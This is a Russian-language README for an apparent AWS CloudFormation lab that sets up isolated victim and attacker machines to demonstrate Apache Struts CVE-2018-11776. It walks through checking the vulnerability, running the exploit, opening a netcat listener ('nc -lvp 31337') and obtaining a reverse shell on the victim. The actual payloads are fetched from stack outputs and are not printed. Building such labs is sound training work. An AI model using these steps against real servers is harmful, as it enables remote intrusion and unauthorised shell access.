
Запускает изолированную тестовую среду для экспериментов с уязвимостью Apache Struts CVE-2018-11776.
Развёртывает изолированную тестовую среду для экспериментов с уязвимостью Apache Struts CVE-2018-11776.
Чтобы запустить тестовую среду, выполните следующую команду:
aws cloudformation create-stack \
--template-body file://cfn.yml \
--stack-name <STACK_NAME> \
--parameters \
ParameterKey=Ec2KeyName,ParameterValue=<KEY_NAME> \
ParameterKey=Linux2Ami,ParameterValue=<AMAZON_LINUX2_AMI_ID>
Получите IP-адреса жертвы и атакующего. Установите SSH-сессии с обеими машинами:
# Victim public IP
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`VictimPublicIp`].OutputValue' --output text
# Attacker public IP
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`AttackerPublicIp`].OutputValue' --output text
Получите команду для проверки, уязвима ли жертва. Выполните её в сессии атакующего:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`CheckVuln`].OutputValue' --output text
(Опционально) Получите команду для проверки работы эксплойта. Выполните её в сессии атакующего:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`RunExploit`].OutputValue' --output text
Настройте машину атакующего на прослушивание обратных туннелей:
nc -lvp 31337
Получите команду, используемую для принуждения жертвы к установке обратного туннеля к атакующему:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`RunReverseShell`].OutputValue' --output text
Откройте дополнительную SSH-сессию к машине атакующего. Затем выполните команду, полученную на предыдущем шаге.
Вернитесь к сессии обратного туннеля. Теперь у вас есть CLI-доступ к машине жертвы.
Чтобы уничтожить тестовую среду, выполните следующую команду:
aws cloudformation delete-stack --stack-name <STACK_NAME>
Эта демонстрация основана на PoC-коде hook-s3c's CVE-2018-11776-Python-PoC.